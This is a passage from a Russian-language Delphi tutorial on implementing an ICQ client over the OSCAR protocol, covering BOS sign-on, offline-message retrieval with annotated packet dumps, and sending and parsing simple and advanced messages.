       // и закодированный пароль - TLV(2)
       TLVAppendStr(tmp,$2,Calc_Pass(PASSWORD));
       // описывать содержимое других TLV особого смысла нет
       TLVAppendStr(tmp,$3,
         'ICQ Inc. - Product of ICQ (TM).2000a.4.31.1.3143.85');
       TLVAppendWord(tmp,$16,$010A);
       TLVAppendWord(tmp,$17,$0004); // 4 - для ICQ2000a
       TLVAppendWord(tmp,$18,$001F);
       TLVAppendWord(tmp,$19,$0001);
       TLVAppendWord(tmp,$1A,$0C47);
       TLVAppendDWord(tmp,$14,$00000055);
       TLVAppendStr(tmp,$0F,'en');
       TLVAppendStr(tmp,$0E,'us');
       // посылаем пакет через  ClientSocket
       // (здесь tmp-пакет будет также и удален)
       PacketSend(tmp);
       M(Memo,'> Auth Request (Login)');

     end else
     // на это сервер ответит так:
     // его ответ содержит TLV(1) - т.е. наш UIN
     if (TLVReadStr(p,ss)=1)and(ss=s(UIN))then begin
        // если это так, то считаем следующий TLV
        T := TLVReadStr(p,ss);
        case T of
          // если это TLV(5) - значит это адрес и порт основного сервера
          5: g>begin // BOS-IP:PORT
            M(Memo,'< Auth Responce (COOKIE)');
            // запоминаем и адрес и порт
            WorkAddress := copy(ss,1,pos(':',ss)-1);
            WorkPort := strtoint(copy(ss,pos(':',ss)+1,
                              length(ss)-pos(':',ss)));
            // за ними должен быть и TLV(6) - т.н. COOKIE (256 байт)
            // принимаем его прямо в переменную sCOOKIE
            // (он пригодится при коннекте к основному серверу)
            if (TLVReadStr(p,sCOOKIE)=6) then begin;
              // COOKIE получен и значит пора разъединяться
              // формируем пустой пакет с Channel_ID=4
              tmp:=CreatePacket(4,SEQ); // ChID=4
              // который и передаем
              PacketSend(tmp);
              // закрываем свой ClientSocket
              OfflineDiscconnect1Click(self);
              // говорим себе, что авторизация пройдена
              isAuth := false;
              // настраиваем ClientSocket на адрес:порт
              // основного (BOS) сервера
              CLI.Address := WorkAddress;
              CLI.Host := '';
              CLI.Port := WorkPort;
              M(Memo,'');
              M(Memo,'>>> Connecting to BOS: '+ss);
              // и коннектимся к нему
              CLI.Open;
{ ******************************************* }
{ в этом месте заканчивается этап авторизации }
{ ******************************************* }
            end;
          end;
          // а, например, в случае неверного UINа или пароля
          // мы получим TLV(4) и TLV(8)
          4,8: begin
               M(Memo,'< Auth ERROR');
               M(Memo,'TLV($'+inttohex(T,2)+') ERROR');
               M(Memo,'STRING: '+ss);
               if pos('http://',ss)>0 then begin
                 // и даже можем загрузить в браузер присланный нам URL
                 // с описанием ошибки
                 // Web.Navigate(ss);
                 // {это навигатор с панели компонентов Делфи}
               end;
               TLVReadStr(p,ss); M(Memo,ss);
               // конечно же закрываем ClientSocket
               OfflineDiscconnect1Click(self);
               M(Memo,'');
             end;
        end;
     end;
end;

После успешного прохождения авторизации, мы подключаемся к основному рабочему серверу ICQ. Т.к. флажек isAuth уже сброшен, то диспетчер MainTTimer все пакеты будет направлять на обработчик WorkPart. Его построение во многом схоже с только, что рассмотренным обработчиком AuthorizePart.

Обработчик WorkPart выполняет всю диспетчерскую работу на протяжении всего времени, когда мы подключены к основному ICQ-серверу. Устроен он очень просто.

procedure TForm1.WorkPart(p:PPack);
var ss,ss2,sErr : string;
    tmp : PPack;
begin
     { иногда бывает: сервер прервал соединение.
        такая ситуация возникала только в одном случае:
        сервером зафиксирован логин с нашим UINом с другого компьютера. }
     if p^.FLAP.ChID = 4 then begin
       PacketGoto(p,sizeof(FLAP_HDR));
       // Код ошибки
       TLVReadStr(p,ss); M(Memo,ss);
       // Описание ошибки
       TLVReadStr(p,ss2); M(Memo,ss2);
       // Разьединяемся
       OfflineDiscconnect1Click(self);
       sErr:='Str1: '+Dim2Hex(@(ss[1]),length(ss));
       sErr:=sErr+#13#10+'Str2: '+ss2+#13#10+#13#10;
       ShowMessage('Another Computer Use YOUR UIN!'#13#10+#13#10+
                   sErr+'...i gonna to disconnect');
       // Выходим из обработчика
       exit;
     end;
     {}

     {  Основная секция  }

     // позиционируемся на данные
     PacketGoto(p,sizeof(FLAP_HDR)+sizeof(SNAC_HDR));

     // BOS Connection ACK (DWORD 00000001)
     // т.е. основной сервер готов с нами общаться
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
        M(Memo,'< BOS connection ACK');

       // ... и мы ему передадим COOKIE
       // Sign-ON  (COOKIE)
       SEQ := random($7FFF);
       tmp := CreatePacket(1,SEQ);
       PacketAppend32(tmp,DSwap($00000001));
       TLVAppendStr(tmp,$6,sCOOKIE);
       PacketSend(tmp);
       M(Memo,'> Sign-ON (COOKIE)');

     end else  //
     if (swap(p^.SNAC.FamilyID)=1)and
        (swap(p^.SNAC.SubTypeID)=3) then begin
        M(Memo,'> "I`m ICQ client, not AIM"');

     end else // ACK to "I`m ICQ Client"
     if (swap(p^.SNAC.FamilyID)=$1)and // ACK
        (swap(p^.SNAC.SubTypeID)=$18) then begin
        M(Memo,'< Rate Information Request');

     end else // Rate Information Response
     if (swap(p^.SNAC.FamilyID)=$1)and
        (swap(p^.SNAC.SubTypeID)=$7) then begin
        M(Memo,'< Rate Information Response');

       // ACK to Rate Information Response
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$8);
       PacketAppend32(tmp,DSwap($00010002));
       PacketAppend32(tmp,DSwap($00030004));
       PacketAppend16(tmp,Swap($0005));
       PacketSend(tmp);
       M(Memo,'> ACK to Rate Response');

       // Request Personal Info
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$0E);
       PacketSend(tmp);
       M(Memo,'> Request Personal Info');

       // Request Rights for Location service
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$02);
       PacketSend(tmp);
       M(Memo,'> Request Rights for Location service');

       // Request Rights for Buddy List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$02);
       PacketSend(tmp);
       M(Memo,'> Request Rights for Buddy List');

       // Request Rights for ICMB
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$4,$04);
       PacketSend(tmp);
       M(Memo,'> Request Rights for ICMB');

       // Request BOS Rights
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$9,$02);
       PacketSend(tmp);
       M(Memo,'> Request BOS Rights');

     end else  // Personal Information
     if (swap(p^.SNAC.FamilyID)=$1)and
        (swap(p^.SNAC.SubTypeID)=$F) then begin
        M(Memo,'< Personal Information');

     end else  // Rights for location service
     if (swap(p^.SNAC.FamilyID)=$2)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'< Rights for location service');

     end else  // Rights for byddy list
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'< Rights for byddy list');

     end else  // Rights for ICMB
     if (swap(p^.SNAC.FamilyID)=$4)and
        (swap(p^.SNAC.SubTypeID)=$5) then begin
        M(Memo,'< Rights for ICMB');

     end else // BOS Rights
     if (swap(p^.SNAC.FamilyID)=$9)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'< BOS Rights');

       // Set ICMB parameters
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$4,$2);
       PacketAppend16(tmp, swap($0000));
       PacketAppend32(tmp,dswap($00000003));
       PacketAppend16(tmp, swap($1F40));
       PacketAppend16(tmp, swap($03E7));
       PacketAppend16(tmp, swap($03E7));
       PacketAppend16(tmp, swap($0000));
       PacketAppend16(tmp, swap($0000));
       PacketSend(tmp);
       M(Memo,'> Set ICMB parameters');

       // Set User Info (capability)
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$4);      // tlv(5)=capability
       TLVAppendStr(tmp,5,#$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00+
                          #$09#$46#$13#$44#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00);
       PacketSend(tmp);
       M(Memo,'> Set User Info (capability)');

       // Send Contact List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$4);
       // пока включаем только свой UIN
       PacketAppendB_String(tmp,s(UIN));
    // PacketAppendB_String(tmp,s(UIN_1));
    // PacketAppendB_String(tmp,s(UIN_2));
    // ...
    // PacketAppendB_String(tmp,s(UIN_n));
    // Можно включить любой UIN, ... даже если он и не хочет :)
       PacketSend(tmp);
       M(Memo,'> Send Contact List (1)');

       // если  мы начинаем с режима Invisible, то передаем
       // Visible List, во всех других режимах - Invisible List
       case ICQStatus of
       STATE_INVISIBLE: begin
           // Send Visible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$5);
           // пока список пуст (кого включать решать вам)
           PacketSend(tmp);
           M(Memo,'> Send Visible List (0)');
         end;
         else begin
           // Send Invisible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$7);
           // пока список пуст (кого включать решать вам)
           PacketSend(tmp);
           M(Memo,'> Send Invisible List (0)');
         end;
       end; // case

       ConnectMode(true);
       SetStatus(ICQStatus);
       M(Memo,'> Set Status Code');

       // Client Ready
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$2);
       PacketAppend32(tmp,dswap($00010003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00020001));
       PacketAppend32(tmp,dswap($0101028A));
       PacketAppend32(tmp,dswap($00030001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00150001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00040001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00060001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00090001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($000A0003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketSend(tmp);
       M(Memo,'> Client Ready');

{
Здесь заканчивается утомительная процедура вхождения в связь
(согласования различных параметров с сервером.
Возможно, что в AOL Imstant Messenger такая процедура, что-то и значит,
но в ICQ-протоколе похоже, что ничего).

В этот момент считается, что мы уже в Online
и другие клиенты наш статус увидят.
}

       // А мы можем уже запрашивать у сервера полезную информацию,
       // например, надо запросить off-лайновые сообщения
       // Get offline messages
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$15,$2);
       PacketAppend32(tmp,dswap($0001000A));
       PacketAppend16(tmp, swap($0800));
       PacketAppend32(tmp, UIN);
       PacketAppend16(tmp, swap($3C00));
       PacketAppend16(tmp, swap($0200));
       PacketSend(tmp);
       M(Memo,'> Get offline messages');
     end else

{
здесь начинается секция обработки почти всех пакетов-ответов,
которые поступят во время, пока мы подключены к ICQ-серверу.
}

               // UIN ON-line
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0B) then begin
        M(Memo,'');
        ShowUserONStatus(p);
        M(Memo,'');

     end else  // UIN OFF-line
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0C) then begin
        M(Memo,'');
        M(Memo,'< UIN OFF-line: '+PacketReadB_String(p));
        M(Memo,'');

     end else  // Reject notification
               // отказ сервера выдать статус этого UINа
               // (встречается очень редко)
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0A) then begin
        M(Memo,'');
        M(Memo,'< Reject from UIN: '+PacketReadB_String(p));
        M(Memo,'');

     end else  // SNAC 15,3
               // имеет много назначений:
               // - ответы с offlines messages
               // - ответы с UserInfo Results
               // - ответы с SearchUser Results
               // - и многое другое
     if (swap(p^.SNAC.FamilyID)=$15)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'');
        SNAC_15_3(p);
        M(Memo,'');

     end else  // SNAC 4,7  Входящие сообщения (всех типов)
     if (swap(p^.SNAC.FamilyID)=$4)and
        (swap(p^.SNAC.SubTypeID)=$7) then begin
        M(Memo,'');
        SNAC_4_7(p);
        M(Memo,'');

     end else begin  // и если, что-то еще не обрабатывается
        M(Memo,'');
        M(Memo,'???? Unrecognized SNAC: ????????');
        M(Memo,'???? SNAC [$'+inttohex(swap(p^.SNAC.FamilyID),2)+':$'+
                             inttohex(swap(p^.SNAC.SubTypeID),2)+']');
        M(Memo,'');
      end;
end;

Для разбора конкретного примера возьмем ситуацию, когда мы запрашиваем у ICQ-сервера оффлайновые сообщения (т.е. те, которые накопились на сервере, пока нас не было в онлайне).

Запрос оффлайновых сообщений делаем с помощью SNAC(15,2), а ответ на него получим соответственно в SNAC(15,3). Оба этих SNACa имеют очень простой формат. Они содержат в себе только по одному TLV, а именно TLV(1). На первый взгляд все очень просто. Но... TLV(1), в свою очередь, имеет очень ветвистую структуру. (Такие особенности имеют и некоторые другие SNACи, например, SNAC(4,6) для передачи и SNAC(4,7) для приема сообщений).

В заметках к протоколу ICQv7 от Massimo Melina есть описание SNAC(15,2). Этот SNAC используется во множестве различных запросов. Я лишь выделю те строки, которые будут включены в наш запрос, а именно:

заголовок самого SNAC(15,2);
TLV(1), который включает в себя:
длину, следующих далее данных,
наш UIN,
тип запроса ($3С00),
cookie (по которому мы узнаем ответный SNAC(15,3) ).
В описании это находится вот здесь:

SNAC 15,02
 TLV(1)
   WORD   (LE) bytes remaining, useless
   UIN    my uin
   WORD   type
   WORD   cookie
   type = 3C00       // ask for offlines messages
     nothing
   type = 3E00       // ack to offline messages,
     nothing   type=D007
     WORD  subtype
     subtype=9808  xml-stype in an LNTS
       LNTS  '' name of required data ''
     subtype=1F05       // simple query info
       UIN   user to request info     subtype=B204       // query info about user
       UIN   user to request info     subtype=D004       // query my info
       UIN   my uin
     ..............
     ..............

     ..............

В исходном коде это выглядит так:

// Get offline messages
// создаем FLAP-заголовок с Channel_ID=2 и SEQ++
tmp := CreatePacket(2,SEQ);
// добавляем SNAC-заголовок SNAC(15,2)
SNACAppend(tmp,$15,$2);
// добавляем TLV(1) ($0001-Type, $000A-Length)
PacketAppend32(tmp,dswap($0001000A));
// добавляем саму Value Для TLV(1)
PacketAppend16(tmp, swap($0800));// бесполезная длина
PacketAppend32(tmp, UIN);        // наш UIN
PacketAppend16(tmp, swap($3C00));// тип запроса
PacketAppend16(tmp, swap($0200));// cookie
PacketSend(tmp);
M(Memo,'> Get offline messages');

Этот кусок кода сгенерирует следующий дамп:

2A 02 36 86 00 18 00 15
00 02 00 00 00 87 00 02
00 01 00 0A 08 00 XX XX
XX XX 3C 00 02 00

Разпишем его в табличном виде для лучшего восприятия:

FLAP
Command Start 2A
Channel ID 02
Sequence Number 36 86
Data Field Length 00 18
SNAC (15, 02)
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 87 00 02

TLV (1)
Type 00 01
Length 00 0A
Value 08 00

XX XX XX XX наш UIN
3C 00 запрос на оффлайновые сообщения
02 00 cookie

Передадим пакет и от сервера получим FLAP-пакет с таким дампом:

2A 02 74 6D 00 4D 00 15
00 03 00 01 00 87 00 02
00 01 00 3F 3D 00 XX XX
XX XX 41 00 02 00 F8 5F
F1 08 D2 07 02 0C 10 12
01 00 25 00 EF F0 E8 E2
E5 F2 0D 0A FD F2 EE 20
F2 E5 F1 F2 EE E2 EE E5
20 F1 EE EE E1 F9 E5 ED
E8 E5 20 21 21 21 0D 0A
00 00 00

И снова распишем его в таблицу:

FLAP
Command Start 2A
Channel ID 02
Sequence Number 74 6D
Data Field Length 4D 00
SNAC (15, 03)
Family ID 00 15
SubType ID 00 03
Flags[0] 00
Flags[1] 01
Request ID 00 87 00 02 (такой же как и в запросе)
TLV (1)
Type 00 01
Length 00 3F
Value 3D 00

XX XX XX XX наш UIN
41 00 тип: оффлайновое сообщение
02 00 cookie (как и в запросе)
тело сообщения
XX XX XX XX его UIN
D2 07 год (2002)
02 месяц (февраль)
0C день (12)
10 час (16)
12 минуты (18)
01 под-тип сообщения
(обычное)
00 флаги сообщения (?)
25 00 длина сообщения (37)
EF F0 E8 E2 E5 F2 0D 0A FD F2 EE 20 F2 E5 F1 F2 EE E2 EE E5 20 F1 EE EE E1 F9 E5 ED E8 E5 20 21 21 21 0D 0A 00 текст сообщения:

"привет
это тестовое сообщение !!!"
00 00 присутствют, если сообщение единственное

В протокольных заметках я выделю ту часть описания SNAC(15,3), которая соответствует таблице:

SNAC 15,03
TLV(1)
  WORD (LE) bytes remaining, useless
  UIN my uin
  WORD message-type
  WORD cookie
    message-type = 4100 // offline message
      UIN his uin
      WORD year (LE)
      BYTE month (1=jan)
      BYTE day
      BYTE hour (GMT time)
      BYTE minutes
      BYTE msg-subtype
      BYTE msg-flags
      LNTS msg
      WORD 0000, present only in single messages
    message-type = 4200 // end of offline messages
      BYTE unknown, usually 0
    message-type = D007
      2 BYTE unknown, usually 98 08
      WORD length of the following NTS
      NTS ""field-type""
      field-type = DataFilesIP
        6 BYTE unk, usually 2A 02 44 25 00 31
    message-type = DA07
      3 BYTE subtype
        subtype=A4010A // wp-full-request result
          wp-result-info
        ..............
        ..............

        ..............
        subtype=B4000A // ack to remove user
          empty
        subtype=AA000A // ack to change password
          empty

И "нарешти" - код для приема SNAC(15,3). Множественные комментарии, кажется тут уже излишни.

procedure TForm1.SNAC_15_3(p:PPack);
var MessageType,Cookie : word;
    myUIN,hisUIN : longint;
    year,month,day,hour,minute,typemes,subtypemes,lenmes : word;
    tmp : PPack;
begin
     // просто пролетаем над началом TLV(1)
     PacketRead32(p);
     PacketRead16(p);

     // а дальше имена переменных объясняют больше, чем комментарии
     myUIN := PacketRead32(p);
     MessageType := swap(PacketRead16(p));
     Cookie := swap(PacketRead16(p));
     M(Memo,'< Cookie: $'+inttohex(Cookie,4));
     case MessageType of
     $4100: begin // OFFLINE MESSAGE
             hisUIN := PacketRead32(p);
             M(Memo,'< Message-Type: $'+inttohex(MessageType,4));
             M(Memo,'< OFFLINE MESSAGE from UIN: '+s(hisUIN));
             year := PacketRead16(p);
             month := PacketRead8(p);
             day := PacketRead8(p);
             hour := PacketRead8(p);
             minute := PacketRead8(p);
             typemes := PacketRead8(p);
             subtypemes := PacketRead8(p);
             lenmes := PacketRead16(p);
             DoMsg(false,typemes,lenmes,PCharArray(@(p^.data[p^.cursor])),
                  hisUIN,UTC2LT(year,month,day,hour,minute));
            end;
      end;
end;

Передача сообщений

Уверен, что у вас не возникло никаких проблем со скачиванием, с компиляцией, с "конфигурированием" первого проекта. Если вы вписывали в файл nICQ.ini свой пароль, то коннект был обеспечен.

Урок №2 содержит два новых модуля. SendMess и MessFrom. Каждый из них имеет свое окно. Это - передача и прием сообщений.

Чтобы полноценно передавать сообщения, необходим и такой объект в основном окне, как список контактов. Объект TTreeView напрашивается сам. Проще некуда. Тем более каждый элемент в нем может содержать указатель на связанные данные. TTreeView меня полностью устроил.

Сам список контактов будет хранится в файле <ваш_uin>.dat

Т.к. сейчас рассматриваетя только урок №2, то и заполняться этот файл будет пока только вручную. При его заполнении вполне можно пренебречь процедурой авторизации.

[ContactList]
199111222=1st_User
199111333=2nd_User
199111444=3rd_User
345345234=Иван Иваныч
188888888=Вася Пупкин
и т.д. и т.п.

Вписывайте UINов столько, сколько нужно. Только не забудьте увеличить массив TContactList, если UINов планируете больше сотни:

type TContactList = array[0..100] of TListRecord;

И еще пару слов относительно интерфейса: те кому надоели зелененькие цветочки - могут нарисовать свои значки для контактного списка. Bitmapы прилагаются.

Теперь о том как реально передаются сообщения.

Есть два типа передаваемых сообщений: Simple Message и Advanced Message.

Если UIN (для которого предназначено сообщение) находится в оффлайне - то ему шлется Simple Message. Advanced Message посылаются тем адресатам, (кажется ) если версия аськи у них не ниже ICQ2000. Из формата Advanced Message в уроке №2 используется лишь информация о Foreground Color и Background Color (это цвета раскраски текста). Использовал бы еще что-нибудь, так там больше ничего нет такого, что можно назвать advanced.

При передаче, сообщения пакуются в SNAC(4,06).

Начнем с более простого формата - Simple Message:

FLAP
Command Start 2A
Channel ID 02
Sequence Number 34 3B
Data Field Length 00 3D
SNAC (4, 06) - Send Message (Simple)
Family ID 00 04
SubType ID 00 06
Flags[0] 00
Flags[1] 00
Request ID 00 AD 00 06

53 DE 53 75
 Cookie 1
16 14 BB 50 Cookie 2
00 01  msg-format: Simple Message
09
 длина его UINа почти как
PascalStr
31 39 39
37 37 37
36 36 36 его UIN
(например: '199777666')
TLV (2) - сообщение здесь
T ype 00 02
L ength 00 17
V alue 05 01 00 01 01 01 01 (unk) ???
00 0E длина сообщения
+ 4
00 00 00 00 (unk) ???
D1 EE EE E1 F9 E5 ED E8 E5 21  'Сообщение!'
TLV (6) - пустой
T ype 00 06
L ength 00 00

Продолжим более сложным форматом - Advanced Message. А он действительно по-сложнее будет.

FLAP
Command Start 2A
Channel ID 02
Sequence Number 0C A3
Data Field Length 00 99
SNAC (4, 06) - Send Message (Advanced)
Family ID 00 04
SubType ID 00 06
Flags[0] 00
Flags[1] 00
Request ID 00 C3 00 06
1C D3 C4 B7
 Cookie 1
23 4D 75 95 Cookie 2
00 02  msg-format: Advanced Message
09
 длина его UINа почти как
PascalStr
31 39 39
37 37 37
36 36 36 его UIN
(например: '199777666')
TLV (5)
T ype 00 05
L ength 00 73
V alue 00 00 00 00 - для посылки сообщения
1C D3 C4 B7 Cookie 1
23 4D 75 95 Cookie 1
09 46 13 49
4C 7F 11 D1
82 22 44 45
53 54 00 00 4 DWORD
наши возможности ???
(capability)
TLV (A)
T ype 00 0A
L ength 00 02
V alue 00 01  00 01 - для посылки сообщения
TLV (F) - пустой (???)
T ype 00 0F
L ength 00 00
TLV (2711) - сообщение здесь
T ype 27 11
L ength 00 4B
V alue 1B 00 07 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 03 00 00
00 26 байт (unk)
00
FF FF
0E 00
FF FF
00 00 00 00 00
00 00 00 00 00
00 00 12 байт (unk)
01  msg-subtype ( 01-обычное )
00
00 00
01 00
0E 00  длина сообщения  тело
сообщения
D1 EE EE E1 F9 E5 ED E8 E5 20 B9 32 2E (00)  'Сообщение №2.'
80 00 80 00 foreground color
FF FF 00 00 background color

TLV (3) - пустой
T ype 00 03
L ength 00 00 TLV(3) посылается, как запрос подтверждения

Что касается кода, то мудровать с формированием TLV я не стал. Зато получилось дешево и сердито. Одним словом - это все работает.

unit SendMess;

procedure TMessageTo.SendButtonClick(Sender: TObject);
var sNN,sMess,sUIN : string;
    tmp : PPack;
    sTmp : string;
    d1,d2 : longint;
    buf : TByteArray;
    ind,indmem : word;
const capab : string{16}= #$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00;
      blok : string{26} = #$1B#$00#$07#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$03#$00+
                          #$00#$00;
     x:word=0;
begin
     sNN := NNEd.Text;
     sUIN := ICQEd.Text;
     if SendMemo.Lines.Count = 0 then exit;
     sMess := SendMemo.Text;

     // создаем новый FLAP
     tmp := CreatePacket(2,SEQ);
     // добавляем SNAC(4,6)
     SNACAppend(tmp,$4,$6);
     // генерируем Cookie-1 и Cookie-2
     d1:=random($7FFFFFFF);
     d2:=random($7FFFFFFF);
     // запоминаем их: по ним мы узнаем ACKи от сервера и клиента
     SEQ1:=dswap(d1);
     SEQ2:=dswap(d2);
     PacketAppend32(tmp,dswap(d1));
     PacketAppend32(tmp,dswap(d2));

     // проверяем какой тип сообщения выбран     case MesFmtBox.Checked of
     true:
      begin
      // advanced message
      // 0002 - advanced
        PacketAppend16(tmp,swap($0002));
        // кому ?
        // дальше, вся последовательность формируется
        // в дополнительном буфере buf
        PacketAppendB_String(tmp,sUIN);
        // TLV(5) + его длина, которую впишем в конце
        ind:=0;fillchar(buf,sizeof(buf),'^');
        PLONG(@(buf[ind]))^:=dswap($0005FFFF);inc(ind,4);
        // Cookie-1 и Cookie-2
        PWORD(@(buf[ind]))^:=0;inc(ind,2);
        PLONG(@(buf[ind]))^:=dswap(d1);inc(ind,4);
        PLONG(@(buf[ind]))^:=dswap(d2);inc(ind,4);
        // Capability
        MOVE(capab[1],buf[ind],length(capab));inc(ind,length(capab));
        //TLV(A)=0001
        PLONG(@(buf[ind]))^:=dswap($000A0002);inc(ind,4);
        PWORD(@(buf[ind]))^:=swap($0001);inc(ind,2);
        //TLV(F)-пустой
        PLONG(@(buf[ind]))^:=dswap($000F0000);inc(ind,4);

        // TLV(2711) + его длина, которую впишем в конце
        PLONG(@(buf[ind]))^:=dswap($2711FFFF);inc(ind,4);
        indmem:=ind-2;
        // 16 байт
        MOVE(blok[1],buf[ind],length(blok));inc(ind,length(blok));
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0E00);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        // 12 байт = 0
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        // под-Тип сообщения = 1 (обычное)
        PBYTE(@(buf[ind]))^:=1;inc(ind,1);

        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        PWORD(@(buf[ind]))^:=swap($0000);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0100);inc(ind,2);
        // длина сообщения
        PWORD(@(buf[ind]))^:=length(sMess)+1;inc(ind,2);
        // сообщение
        move(sMess[1],buf[ind],length(sMess));inc(ind,length(sMess));
        // завершающий ноль
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        // foreground color
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,FG));inc(ind,4);
        // background color
        PLONG(@(buf[ind]))^:=dswap(GetColor(SendMemo,BG));inc(ind,4);

        // вписываем фактическую длину в TLV(5)
        PWORD(@(buf[2]))^:=swap(ind-4);
        // подсчитывем фактическую длину TLV(2711)
        x:=length(blok)+27+length(sMess)+9;
        // ... и вписывем ее
        PWORD(@(buf[indmem]))^:=swap(x);

        // пепеносим данные с buf в FLAP
        PacketAppend(tmp,@buf,ind);
        // ack request ? (запрос подтверждения)
        // TLV(3)-пустой
        PacketAppend32(tmp,dswap($00030000));
      end;

     false:
      g>begin // simple message
        // 0001 - simple
        PacketAppend16(tmp,swap($0001));
        // кому ?
        PacketAppendB_String(tmp,sUIN);
        // tlv(2)
        PacketAppend16(tmp,swap(2));
        // длина tlv(2)
        PacketAppend16(tmp,swap(13+length(sMess)));
        // 7 байт
        PacketAppend32(tmp,dswap($05010001));
        PacketAppend16(tmp,swap($0101));
        PacketAppend8(tmp,$01);
        // длина сообщения + 4
        PacketAppend16(tmp,swap(4+length(sMess)));
        // 4 байта = 0
        PacketAppend32(tmp,dswap($0));
        // сообщение
        PacketAppend(tmp,@(sMess[1]),length(sMess));
        // tlv(6) - пустой
        PacketAppend16(tmp,swap($0006));
        PacketAppend16(tmp,0);
      end;
     end;
     //case
     // посылаем пакет
     Form1.PacketSend(tmp);
     M(SendMemo,'Sending...');

     // пишем в журнал
     case MesFmtBox.Checked of
       // A - advanced
       true:  sTmp := '[A] ';
       // S - simple
       false: sTmp := '[S] ';
     end;
     // тут и так ясно
     sTmp := '->'+sTmp+DateTimeToStr(Now)+' '+
                  sNN+' ['+sUIN+']  "'+sMess+'"';
     M(Form1.Memo,sTmp);       Form1.LogMessage(sTmp);

     if MesFmtBox.Checked then begin
       // если advanced
       SendAnime.Active := true;
       SendMemo.Enabled := false;
       SendButton.Enabled := false;
       MesFmtBox.Enabled := false;
       // окно закроется только после получения
       // ACKов от сервера и от клиента (или вручную)
     end
     else
       // если simple, то окно сразу закрывается
       Close;
end;

Прием сообщений

Все сообщения приходят в SNAC(4,07).

У него такой же формат, как и у SNAC(4,06). Поэтому стоит сразу комментировать код:

unit Main.pas;

procedure TForm1.SNAC_4_7(p:PPack);
var
    i,cnt,T,MessageFormat,SubMode,SubMode2,Empty : word;
    {myUIN,}
    hisUIN : longint;
    SubType : array[0..3] of byte;
    MessageSubType : longint absolute SubType;
    tmp,tmp2,tmp3 : PPack;
    sTemp : string;
    dTemp : TByteArray;
    typemes,
    {subtypemes,}
    unk,modifier,lenmes : word;

    // для SNAC(4,0B)-подтверждения принятых advanced сообщений
    d1,d2 : longint;
    ACK : TByteArray;
    ind : word;

    NewMsg : PMsgItem;
    FG : array[0..3] of byte;
    BG : array[0..3] of byte;
begin
     // сохраняем Cookie-1 и Cookie-2
     d1:=PacketRead32(p);
     d2:=PacketRead32(p);
     // читаем формат сообщения
     MessageFormat := swap(PacketRead16(p));
     // от кого ?
     sTemp := PacketReadB_String(p);

     // Cookie-1,Cookie-2 и некоторую другую часть пакета сохраним.
     // Эти данные необходимо включить в ACK на это сообщение
     ind:=0;
     PLONG(@(ACK[ind]))^:=d1; inc(ind,4);
     PLONG(@(ACK[ind]))^:=d2; inc(ind,4);
     PWORD(@(ACK[ind]))^:=swap(MessageFormat);inc(ind,2);
     PBYTE(@(ACK[ind]))^:=length(sTemp);inc(ind,1);
     MOVE(sTemp[1],ACK[ind],length(sTemp));inc(ind,length(sTemp));
     PWORD(@(ACK[ind]))^:=swap($0003);inc(ind,2);

     // преобразуем его UIN из строки в longint
     try hisUIN := strtoint(sTemp); except hisUIN:=0; end;
     M(Memo,'< From: '+sTemp);
     PacketRead16(p);
     // узнаем сколько всего TLV во входящем пакете
     cnt := swap(PacketRead16(p));
     // читаем все эти TLV
     for i:=1 to cnt do
       // самый интересный - TLV(6)
       if TLVReadStr(p,sTemp)=6 then begin
